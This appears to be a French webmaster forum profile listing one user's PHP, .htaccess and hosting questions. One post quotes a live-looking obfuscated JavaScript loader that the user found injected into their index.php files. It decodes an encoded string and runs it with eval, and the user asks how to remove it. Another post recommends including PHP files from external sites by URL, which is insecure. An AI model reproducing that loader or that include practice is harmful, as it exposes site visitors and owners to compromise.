Aller au contenu

moonwar

Webmaster Régulier
  • Compteur de contenus

    73
  • Inscrit(e) le

  • Dernière visite

Tout ce qui a été posté par moonwar

  1. Salutation, Je veux recuperer le taux de change des devis à partir d'un site de bourse. J'ai pris la page d'impression du site qui comporte les données : exch, value, expr et date. J'ai trouvé cela dans un forum, mais je ne connais pas la suite: <?php $url = "http://www.site.com/classic?user=printable&exch=EUR&value=1&expr=USD&date_fmt=us&margin_fixed= &date=02/09/09〈=fr"; $tab_url = parse_url($url); print_r ( $tab_url["query"]); //va retourner /classic?user=printable&exch=EUR&value=1&expr=USD&date_fmt=us&margin_fixed= &date=02/09/09〈=fr //explode() pour couper la chaine obtenu $tab_query = explode ("&",$tab_url["query"]); print_r ($tab_query); //je ne connais pas la suite ... j'ai pas pu la faire ?> Dans un autre forum: (Cela affiche toute la page du site) Pi isoler les paramatères de l'URL: exch, value, expr et date. Ma tête bouilleeeeeeee! Avez-vous une idée pour organiser tout cela afin de n'afficher que le change de devis voulu sans pub? Notez que je suis nul en PHP merci pour vos réponses.
  2. Salutation, un script s'est accroché à la page spip/ecrire/index.php3 juste apres la balise <body>. J'ai pu le supprimer des autres pages, mais sur la page du lien spip/ecrire/index.php , je n'arrive pas a l'occaliser cette balise. merci pour votre aide.
  3. Salitation, Ca fait un bon moment, j'ai remarqué un code qui s'ajoute a tout mes fichiers index.php. Je ne connais ni l'origine ni la raison. J'ai aussi remarqué que ce code vient juste après la balise <body> ou juste avant la balise </body> <script language=JavaScript> function jbnb25(z){ var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,30,39,22,1,14,38,60,18,9,0,0,0,0,0,0,58,48,35,28,33,55,56,41,23,6,37,3,45 ,46,42,24,12,47,17,15,57,54,31,40,20,19,25,0,0,0,0,0,0,4,16,32,52,7,10,11,61,59,8 ,43,44,51,5,2,34,29,62,36,13,50,27,26,21,53,49);for(s=Math.ceil(c/m);s>0;s--){h='';for(i=Math.min(c,m);i>0;i--,c--){{x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(208^x&255);x>>=8;w-=2}else{w=6}}}eval(h);}}jbnb25('26kQdriGrSfGz8wGBUrhXrkQy10_AT_drilJUvLr8N02fwMs3grEm1MUfwlh3g7rIvQyU5_AT_2Y 1LASNWmUM7F8fGcNr00V1ld8vMs6iQr_AT_VMrwiQ0Y_AT_0QV0rqIgGF_AT_QW03NQdpV2z8fMrgwlr8 iQhpVr_AT_YMTJHMTTQ0hWV5Ty10rEgS726gLspvisHMFABvLT1gMsU1FcS57B8wN73viuYvMBofQz6N_ AT_rrkQyfQil0VMUfwlh3kiE2S') </script> Comment s'en debarasser et est-ce-que vous avez une idée sur la faille sécuritaire que ce code utilise. Merci pour votre aide.
  4. Re La page bave.php n'est qu'un test, avec include on peut appeller meme un site. Le probleme sepose sur les pages externes du slide. Merci pour ta reponse.
  5. Bonjour, J'essais de faire un include dans les slides d'un menu a onglet, mais les pages appellées ne chargent pas. Sur include direct par defaut, la page repend, maisvia les pages externes le php include ne marche pas <div id="contenu"> <ul id="countrytabs" class="shadetabs"> <li class="conteneur"><a href="#" rel="#default" class="selected">Algérie</a></li> <li class="conteneur"><a href="external2.htm" rel="countrycontainer">Politique</a></li> <li class="conteneur"><a href="external3.htm" rel="countrycontainer">Economie</a></li> <li class="conteneur"><a href="external4.htm" rel="countrycontainer">Sport</a></li> <li class="conteneur"><a href="external5.htm" rel="countrycontainer">Monde</a></li> </ul> <div id="countrydivcontainer" style="border:1px solid #BCBCBC; width:500px; margin-bottom: 1em; padding: 9px; background-image: url(alb/bgindex.gif)"> <p> <?php include("bave.php"); ?> </p> </div> <script type="text/javascript"> var countries=new ddajaxtabs("countrytabs", "countrydivcontainer") countries.setpersist(true) countries.setselectedClassTarget("link") //"link" or "linkparent" countries.init() </script> Ma question: est-ce que vous avez une idée sur la bonne methode pour que ca fonctionne?? Merci pour votre aide.
  6. Salutation, J'ai acheté y a de ça plus d'une année un Nom du domaine + Hosting chez une societé americainne. Tout allait bien jusqu'au jour (8 mois après) l'hebergeur m'annonce que ma carte de credit (banque europeenne) est une carte fraude !!!! J'ai envoyé les documents delivrés par ma banque comme preuve que ma carte n'est pas fraudée, mais l'hebergeur ne voulait rien comprendre! J'ai changé de carte de crédit (banque canadienne)... meme chose et plus, il ne répend meme pas a mes e-mail et coups de téléphone. L'hébergeur a changé le owner de NDD et l'a mis à son nom. J'ai attendu la fin de l'expiration du contrat (Expiration date: 14 Apr 2006 19:59:21) et à ma surprise! le NDD est tjrs au nom de l'hebergeur et pire!! il est mis en Vente Rachetter un NDD de 7$ à 200$ quand meme J'attend vos conseils. Merci.
  7. Salutation, je me suis posé la question "Pkoi les GROS sites telque "msn", "yahoo" ou "Lycos" ne tombent que rarement en panne!" alors, pour eviter à ce que mon site ne s'arrete avec l'arrêt de mon hebergeur, j'ai pris deux hebergements chez deux differents hegergeurs. Techniquement, c'est pas evident vu que c'est du double travaille . et le pointage se fait manuellement via le panel de mon registrar. Donc, ma quéstion est : "Comment faire pour rediriger automatiquement un nom de domain sur un hebergeur de secourt (page d'index y comprise) si l'hebergeur principal est en panne?" Merci d'avance pour vos réponses.
  8. moonwar

    Pages aléatoires

    Merci Sebastien pour le lien, mais le code en quéstion n'est valable que pour les textes. peut etre à utiliser dans le cas des citations... Moi ce que je cherche c'est un truc qui supporte les images, textes, hypertext etc etc... T'en a une idée? Merci d'avance.
  9. moonwar

    Pages aléatoires

    Salutation, Mon site est découpé en cellule, chaque cellule est un sujet ... (classique)... Toutes les cellules appellent une page via "include". Donc mon site est basé sur le code suivant: <?php include("http://www.mon_site.com/dossier_x/fichier_y.php"); ?> Comme j'ai plusieurs sujets, j'aimerais les faire afficher aléatoirement dans les cellules sans interbenir dessus. Par exemple: Dans la rubrique thématique "Automobile", j'ai 10 fiches techniques de diff marques: <?php include(&quot;http://www.mon_site.com/automobile/mercedes.php"); ?> <?php include(&quot;http://www.mon_site.com/automobile/citroen.php"); ?> <?php include(&quot;http://www.mon_site.com/automobile/bmw.php"); ?> etc etc comment les faires afficher aléatoirement ... je pense que la question est claire . Merci d'avance pour votre aide.
  10. Salutation; Si tu veux importer une partie d'un site externe (voir meme completement le site) mets ça: <?php include("http://www.site_externe.com/fichier.php"); ?> Mais tu dois avant preparer un tableau (contenant) dans TON site pour accueillir le contenu. faire attention aux dim du contenu, sinon ton site risque d'etre deformer.
  11. moonwar

    URL Rewriting en gros

    Salut Dan j'en profite pour te remercier d'avoir editer les URLs de mes messages Pas de probleme, on va oublier le cache mais juste pour precision sur cette ligne!!! je cite l'article de developpez.com ci-joint l'URL RewriteEngine on #Si la page.cache existe : RewriteCond %{REQUEST_FILENAME}\.cache -f #on réécrit son url: RewriteRule ([^.]+)\.html$ /$1.html.cache [L] #et du fait du [L], on se serait arrêté là si elle existait. #sinon, on exécute le script page.php en passant le nom de la page demandée en paramètre : RewriteRule ([^.]+)\.html$ /page.php?page=$1 [L] --------------------------------------- Pour les questions, et bien ... est-ce que mes ecritures sont justes ? Je vous donne l'ULR d'origine avec le rewriting qui va avec, et corrigez-moi si je fais une connerie . En gros, j'ai plusieurs types d'ecritures des URLs, cela est du au fait que j'ecrits mes pages sur bloc notes pour eviter tout probleme de license ... 1- Pour le type: "mon_site.com/index.php?jour=1" Est-ce juste de mettre ce code? RewriteEngine on RewriteRule ([^.]+)\.html$ /index.php?jour=$1 [L] 2- Pour le type: "monsite.com/redaction/~auteur/index.php?article=10" Est-ce juste de mettre ce code? RewriteEngine on RewriteRule ([^.]+)\.html$ /redaction/~auteur/index.php?article=$1 [L] 3- Est-ce que je dois ajouter un fichier .htaccess dans tout repertoire de mes sites ou un seul a la racine suffirait? 4- Dans mes repertoire, j'ai nommé tout les liens suivant le sujet. je m'explique Per exemple pour la partie Musique, j'ai "monsite.com/.../.../musique/index.php? chanson=10 Pour la partie Sport; j'ai mis "monsite.com/.../sport/foot/index.php? journée=10 J'aimerais savoir comment faire afin de retrouver les thèmes dans mes ULR réécrits en HTML. Merci pour: RewriteCond %{HTTP_HOST} !www.site.com$ RewriteRule (.*) http://www.site.com/$1 [R=301,L] J'espere que ça marche avec OVH.com et CeleoNet.fr Merci d'avance pour vos réponses
  12. moonwar

    URL Rewriting en gros

    Salutation, Pour commancer, mon hebergeur support le mod_rewriting et le php5 donc, pas de probleme de ce coté là. Cela dit, je n'ai pas drois a l'erreur car meme si mon hebergeur accepte le rewriting, ces serveurs cache les .htaccess, donc si je fais une connerie, je risque de ne pas retrouver mes .htaccess meme via un logiciel FTP. donc ... J'en ai lu des tonnes d'articles... donc, si j'ai bien compris (je prends en compte le cache)... le code à mettre dans un .htaccess est ça : Code: RewriteEngine on RewriteCond %{REQUEST_FILENAME}\.cache -f RewriteRule ([^.]+)\.html$ /$1.html.cache [L] RewriteRule ([^.]+)\.html$ /page.php?page=$1 [L] --------------------------------------------------- Si mes liens sont dans le genre : "mon_site.com/index.php?jour=1" mon code devient comme ça???? Code: RewriteEngine on RewriteCond %{REQUEST_FILENAME}\.cache -f RewriteRule ([^.]+)\.html$ /$1.html.cache [L] RewriteRule ([^.]+)\.html$ /index.php?jour=$1 [L] Comment faire pour introduit dans mes URL (html) les titres genre "article" "musique" "journee" ... etc --------------------------------------------------- dans le cas où j'ai: monsite.com/redaction/~auteur/index.php?article=10 je mets ça? Code: RewriteEngine on RewriteCond %{REQUEST_FILENAME}\.cache -f RewriteRule ([^.]+)\.html$ /$1.html.cache [L] RewriteRule ([^.]+)\.html$ /redaction/~auteur/index.php?article=$1 [L] ------------------------------------------------- Autre chose, est ce que je dois mettre dans chaque repertoire un .htaccess? ------------------------------------------------- Comment faire (exactement et par la plus simple des methodes ) convertire les sites "site.com" en "www.site.com"??. ------------------------------------------------- Merci d'avance pour vos réponses, Bien cordialement. M.K.
  13. J'ai essayé doclear, c'est un script pour un unique webblog ... On cherche un script pour Multi-utilisateur genre SkyBlog meme s'il est payant... bien cordialement K M
  14. Salutation; Comme on a un peu d'espace dans notre site ... disons .. beaucoup d'espace ... On aimerait bien offrir la possibilité au internautes d'y ouvrir des webblog gratuitement. On a déjà une option illimité pour les sous-domaines, mais quand meme faut pas abuser avec la bande passante ... donc, on a opté pour les Blogs.. Bref, Ma question est ... Comment ça se fait, ou bien, où trouver un bon et beau script (gratuit ) qui nous faliciterait la tache avec interdiction de telle et/ou telle chose. Une gestion automatique des blogs et surtout faciler la tache (texte et image) pour les novices voir les non-internetelisés (je sais pas si ce mot existe ) ? Merci pour vos réponses Bien cordialement.
  15. A à Z Fleurs le CSS marche bien, mais il manque chose .. je sais pas koi ... <!-- debut tabs menu --> <center> <a href="javascript:document.getElementById('Recherche_Locale').style.display='block';document.getElementById('Recherche_Musique').style.display='none';document.getElementById('Recherche_Annuaire').style.display='none';">Locale</a> | <a href="javascript:document.getElementById('Recherche_Locale').style.display='none';document.getElementById('Recherche_Musique').style.display='block';document.getElementById('Recherche_Annuaire').style.display='none';">Musique</a> | <a href="javascript:document.getElementById('Recherche_Locale').style.display='none';document.getElementById('Recherche_Musique').style.display='none';document.getElementById('Recherche_Annuaire').style.display='block';">Annuaire</a> <!-- fin tabs menu --> </center> <div id="Recherche_Locale"> <?php //affichage moteur de recherche include("http://www.dzyri.com/search_index_inc.php"); ?> </div> <div id="Recherche_Musique"> <?php //affichage moteur de recherche include("http://www.dzyri.com/communaute/musique/search_index_inc.php"); ?> </div> <div id="Recherche_Annuaire"> <?php //affichage moteur de recherche include("http://www.dzyri.com/annuaire/search_index_inc.php"); ?> </div> Je ne vois vraiment pas comment resoudre le probleme
  16. Non!!! ça marche pas Voila le lien; après le clic, ça donne sur CA ... pas normal Je veux jouer sur l'affichage du moteur de recherche suivant le (clic) bouton "Locale", "Musique" et "Annuaire" genre "Yahoo". Noter que j'ai 03 moteurs de recherches. J'ai essayé avec les boutons "radio" mais ... c'est une longue histoire.... Sinon oubliez le Php, vous avez une idée sur un bon javascript?. Merci d'avance pour vos réponses. Bien cordialement.
  17. Salutation, lafosca; Tu veux dire ... <?php header("Location: http://www.monsite.com/menu.php"); ?> Et dans "menu.php" j'introduis mes differents clics et liens. ouin, je n'ai pas pensé a ça je vais la testé ... mais alors je vais devoir mettre ma page "menu.php" avec les balises <html> <title> <head> et <body>. Mici A à Z Fleurs pour ta réponse Merci d'avance pour vos réponses. Bien cordialement.
  18. Salutation; Comment faire pour changer le contenu d'un "include" sans pour autant charger à chaque clic la page. Exemple menu du moteur de recherche Yahoo. Le DHTML est trop lourd pour mon serveur ... peut etre un javascript ... Mais est ce qu'il existe une méthode directe avec du code PHP ? Merci d'avance pour vos réponses. Bien cordialement.
  19. Rien à faire ... Si ça marche pas via "jeu entre les bases de données" peut etre le faire par les fichiers search.php car j'ai mis pour chaque script un fichier search.php: Recherche dans "Local" ==> Racine "/" Recherche dans "Annuaire" ==> Rep "/annuaire/" Recherche dans "Musique" ==> Rep "/musique" Page search.php: (page d'action du FORM du formulaire) <?php //moteur de recherche include("data_bd.php"); //variables de la base de donnée include("functions.php"); //fonctions du script Et pour chaque lien un fichier data_bd.php et functions.php donc : fichier ../data_bd.php //données pour la connexion à la base de données cherche $db_server = "honshu.inside.globat.com"; //adresse du serveur MySQL $db_name = "cherche"; //nom de la base de données $db_user_login = "cherche"; //nom d'utilisateur pour la BD $db_user_pass = "######"; //mot de passe pour la BD fichier ../musique/data_bd.php //données pour la connexion à la base de données musique $db_server = "honshu.inside.globat.com"; //adresse du serveur MySQL $db_name = "musique"; //nom de la base de données $db_user_login = "musique"; //nom d'utilisateur pour la BD $db_user_pass = "######"; //mot de passe pour la BD fichier ../annuaire/data_bd.php //données pour la connexion à la base de données annuaire $db_server = "honshu.inside.globat.com"; //adresse du serveur MySQL $db_name = "annuaire"; //nom de la base de données $db_user_login = "annuaire"; //nom d'utilisateur pour la BD $db_user_pass = "######"; //mot de passe pour la BD Donc, en gros ... faire des boutons radio pour l'action du "FORM" des formulaire ... c'est possible?. Merci pour l'equipe..
  20. Je commance a comprendre le systeme de fonctionnement du SQL merci l'equipe ... Voila, j'ai renommé les variables: Voir en haut pour connaitre la fonction des fichiers data_bd.php et fonctions.php Fichier data_bd.php <?php //nom des tables pour la BD, si vous voulez les changer... par exemple en cas d'installation multiples dans une même BD ! $T_admins = "admins_annuaire"; //table des administrateurs $T_categories = "categories_annuaire"; //table des categoires $T_commentaires = "commentaires_sites_annuaire"; //table des commentaires $T_infos = "infos_annuaire"; //table pour le infos (anciennement admin_annuaire) $T_sessions = "sessions_annuaire"; //table pour les sessions des administrateurs $T_sites = "sites_annuaire"; //table pour les sites et liens $T_sites_in_wait = "sites_in_wait_annuaire"; //table pour les sites et liens en attentes //données pour la connexion à la base de données $db_server = "honshu.inside.globat.com"; //adresse du serveur MySQL $db_name = "cherche"; //nom de la base de données $db_user_login = "cherche"; //nom d'utilisateur pour la BD $db_user_pass = "######"; //mot de passe pour la BD $db_server = "honshu.inside.globat.com"; //adresse du serveur MySQL $db_name = "musique"; //nom de la base de données $db_user_login = "musique"; //nom d'utilisateur pour la BD $db_user_pass = "######"; //mot de passe pour la BD $db_server = "honshu.inside.globat.com"; //adresse du serveur MySQL $db_name = "annuaire"; //nom de la base de données $db_user_login = "annuaire"; //nom d'utilisateur pour la BD $db_user_pass = "######"; //mot de passe pour la BD ?> La partie BD du fichier fonctions.php : /******** FONCTIONS POUR LA BD ***********/ function connection_BD() { global $db_server, $db_user_login, $db_user_pass, $db_name; //connexion au serveur $linkid = _AT_mysql_connect($db_server,$db_user_login,$db_user_pass) or die ("Erreur lors de la connection au serveur MySQL !"); //selection de la BD @mysql_select_db($db_name,$linkid) or die("Impossible de sélectionner la base de données\n<br>\nVoici l'erreur renvoyée par le serveur MySQL :\n<br>\n".mysql_error()); return $linkid; } /***** DEBUT DU SWITCH *****/ $db_server['host'] = 'localhost'; $db_name['user'] = 'root'; $db_user_login['pass'] = ''; $db_user_pass['connection'] = _AT_mysql_connect($db_server,$db_user_login,$db_user_pass) or die("Erreur lors de la connection au serveur MySQL !"); // connection au serveur switch($_POST['radio']) { case 'recherche_locale': { $db_name['base'] = 'cherche'; // base pour recherche locale } case 'annuaire': { $db_name['base'] = 'annuaire'; // base pour annuaire } case 'musique': { $db_name['base'] = 'musique'; // base pour musique } } $$db_name['selection'] = _AT_mysql_select_db($$db_name['base'], $db_user_pass['connection'] ) or die("Impossible de sélectionner la base de données\n<br>\nVoici l'erreur renvoyée par le serveur MySQL :\n<br>\n".mysql_error()); // Selection finale /***** FIN DU SWITCH *****/ function send_sql($sql,$message) //envoi la requete $sql a la base et affiche un message si il y a eu un probleme sinon on rend le resultat { if(!$res = _AT_mysql_query($sql)) { $message_erreur = "<font color=\"#ff0000\">\n"; $message_erreur .= "Impossible d'effectuer la requête pour $message\n"; $message_erreur .= "<br><br>\n"; // $message_erreur .= "Voici la requête : \n<br>\n"; // $message_erreur .= "$sql\n"; // $message_erreur .= "<br><br>\n"; $message_erreur .= "Voici le message d'erreur renvoyé par la base de données :\n<br>\n"; die("$message_erreur".mysql_errno()." : ".mysql_error()."</font>\n"); } return $res; } /******************/ Merci pour vos précisions parce que ça marche tjrs pas . Voici le Lien (j'ai desactivé le switch car ça donne comme message : "Erreur lors de la connection au serveur MySQL !" ) Merci d'avance; Bien cordialement
  21. Là ... je crois que je suis completement perdu ... je vous donne le shema complet des liens. Page INDEX : ... <?php include("http://www.****.com/modules/frames_header_menu.php"); ?> <?php include("http://www.****.com/modules/frames_header_sherch.php"); ?> <table border="0" width="780" bottommargin="0" leftmargin="0" rightmargin="0" marginheight="0" marginwidth="0" topmargin="0" cellspacing="0" cellpadding="0" align="center" background="/banner.gif"> <tr>.... suite etc etc Page frames_header_sherch.php: (Formulaire HTML) <?php //affichage du formulaire pour le moteur de recherche $mots = isset($_REQUEST['mots']) ? $_REQUEST['mots'] : ''; if (empty($mots)) { $value = ""; $erase = " onfocus=\"if (!erased_annuaire)this.value = ''; erased_annuaire = true;\""; } else { $value = stripslashes(htmlspecialchars($mots)); $erase = ""; } //formulaire pour afficher le moteur de recherche ?> <center> <table width="780" border="0" cellspacing="0" cellpadding="0" align="center" background="/images/plan_cherche.gif"> <tr height="55" valign="middle"> <td width="760"> <center> <form action="/search.php" method="post"> <input type="hidden" name="action" value="seek"><font class="BIG">Recherche</font> <input type="text" name="mots" size=25 maxlength=200 value="<?php echo $value; ?>"<?php echo $erase; ?> class="recherche"> <input type="image" border="0" name="envoyer" src="/images/chercher.gif" width="80" height="20" alt="Valider la recherche" align="middle"> <br> <span class=""> <input type="radio" name="radio" value="recherche_locale" checked>Locale <input type="radio" name="radio" value="musique">Musique <input type="radio" name="radio" value="annuaire">Annuaire Résultats par page : <select name="nb_results2show" class=""> <option value=10>10</option> <option value=20>20</option> <option value=50>50</option> </select> <input type="radio" value="AND" name="booleen" checked>Tous les mots <input type="radio" value="OR" name="booleen">Au moins un </span> </center> </td><td width="20"></form></td></tr></table> </center> Page search.php: (page d'action du FORM du formulaire) <?php //moteur de recherche include("data_bd.php"); //variables de la base de donnée include("functions.php"); //fonctions du script $mots = isset($_REQUEST['mots']) ? $_REQUEST['mots'] : ''; $mots = trim($mots); $page = isset($_GET['page']) ? (int)$_GET['page'] : 0; if($page < 0) exit; .... suite etc etc Page data_bd.php: (variables des bases de données) <?php /********* ADMINISTRATION **************/ //nom des tables pour la BD, les changer en cas d'installation multiples dans une même BD ! $T_admins = "admins_annuaire"; //table des administrateurs $T_categories = "categories_annuaire"; //table des categoires $T_commentaires = "commentaires_sites_annuaire"; //table des commentaires $T_infos = "infos_annuaire"; //table pour le infos (anciennement admin_annuaire) $T_sessions = "sessions_annuaire"; //table pour les sessions des administrateurs $T_sites = "sites_annuaire"; //table pour les sites et liens $T_sites_in_wait = "sites_in_wait_annuaire"; //table pour les sites et liens en attentes /***************************************/ //données pour la connexion à la base de données $db_server = "honshu.inside.globat.com"; //adresse du serveur MySQL $db_name = "cherche"; //nom de la base de données $db_user_login = "cherche"; //nom d'utilisateur pour la BD $db_user_pass = "########"; //mot de passe pour la BD $db_server = "honshu.inside.globat.com"; //adresse du serveur MySQL $db_name = "musique"; //nom de la base de données $db_user_login = "musique"; //nom d'utilisateur pour la BD $db_user_pass = "########"; //mot de passe pour la BD $db_server = "honshu.inside.globat.com"; //adresse du serveur MySQL $db_name = "annuaire"; //nom de la base de données $db_user_login = "annuaire"; //nom d'utilisateur pour la BD $db_user_pass = "########"; //mot de passe pour la BD $MySQL['host'] = 'localhost'; $MySQL['user'] = 'root'; $MySQL['pass'] = '########'; $MySQL['connection'] = _AT_mysql_connect($MySQL['honshu.inside.globat.com'], $MySQL['cherche'], $MySQL['#######']) or die(mysql_error()); // connection au serveur switch($_POST['radio']) { case 'recherche_locale': { $MySQL['base'] = 'cherche'; // base pour recherche locale } case 'annuaire': { $MySQL['base'] = 'annuaire'; // base pour annuaire } case 'musique': { $MySQL['base'] = 'musique'; // base pour musique } } $MySQL['selection'] = _AT_mysql_select_db($MySQL['base'], $MySQL['connection']) or die(mysql_error()); // Selection finale ?> Page functions.php: (Partie BD de la page des fonctions generales du script) /********* FONCTIONS POUR LA BD **************/ function connection_BD() { global $db_server, $db_user_login, $db_user_pass, $db_name; //connexion au serveur $linkid = _AT_mysql_connect($db_server,$db_user_login,$db_user_pass) or die ("Erreur lors de la connection au serveur MySQL !"); //selection de la BD @mysql_select_db($db_name,$linkid) or die("Impossible de sélectionner la base de données\n<br>\nVoici l'erreur renvoyée par le serveur MySQL :\n<br>\n".mysql_error()); return $linkid; } function send_sql($sql,$message) //envoi la requete $sql a la base et affiche un message si il y a eu un probleme sinon on rend le resultat { if(!$res = _AT_mysql_query($sql)) { $message_erreur = "<font color=\"#ff0000\">\n"; $message_erreur .= "Impossible d'effectuer la requête pour $message\n"; $message_erreur .= "<br><br>\n"; // $message_erreur .= "Voici la requête : \n<br>\n"; // $message_erreur .= "$sql\n"; // $message_erreur .= "<br><br>\n"; $message_erreur .= "Voici le message d'erreur renvoyé par la base de données :\n<br>\n"; die("$message_erreur".mysql_errno()." : ".mysql_error()."</font>\n"); } return $res; } /**********************************/ Désolé pour les erreurs GRAVES car je suis completement .... Merci d'avance pour votre aide. Bien cordialement.
  22. Re et merci MS-DOS_1991 ... c'est pas que je n'ai pas testé ... mais ... Un forum est fait pour avoir de l'aide et non pour se faire faire son boulot So ... je me suis battu avec durant toute la nuit ... et ça donne ça Le manuel MuSQL dit "si vous obtenez une erreur qui contient Using password: NO , cela signifie que vous avez essayé de vous connecter sans mot de passe." Pourtant, j'ai introduit mon "pass" et j'ai mis le meme pass pour tout les bases .. mais le message revient tjrs Au fait, vous avez oublié un ' dans: case 'musique': { $MySQL['base'] = musik'; // base pour musique } Merci encore pour votre aide. Bien cordialement; NB: globat.com c'est mon hebergeur... evident
  23. Salutation, J'ai installé un meme script trois (03) fois dans mon site. Donc, en tout j'ai 03 meme moteurs de recherches et 03 meme bases de données. 1- Recherche locale 2- Annuaire 3- Musique J'aimerais regrouper les 03 moteurs de recherches dans un meme et unique moteur grace à des boutons de type radio. Comment faire pour appeller chaque base de donnée via un bouton radio? Merci d'avance pour vos réponse. Bien cordialement.
×
×
  • Créer...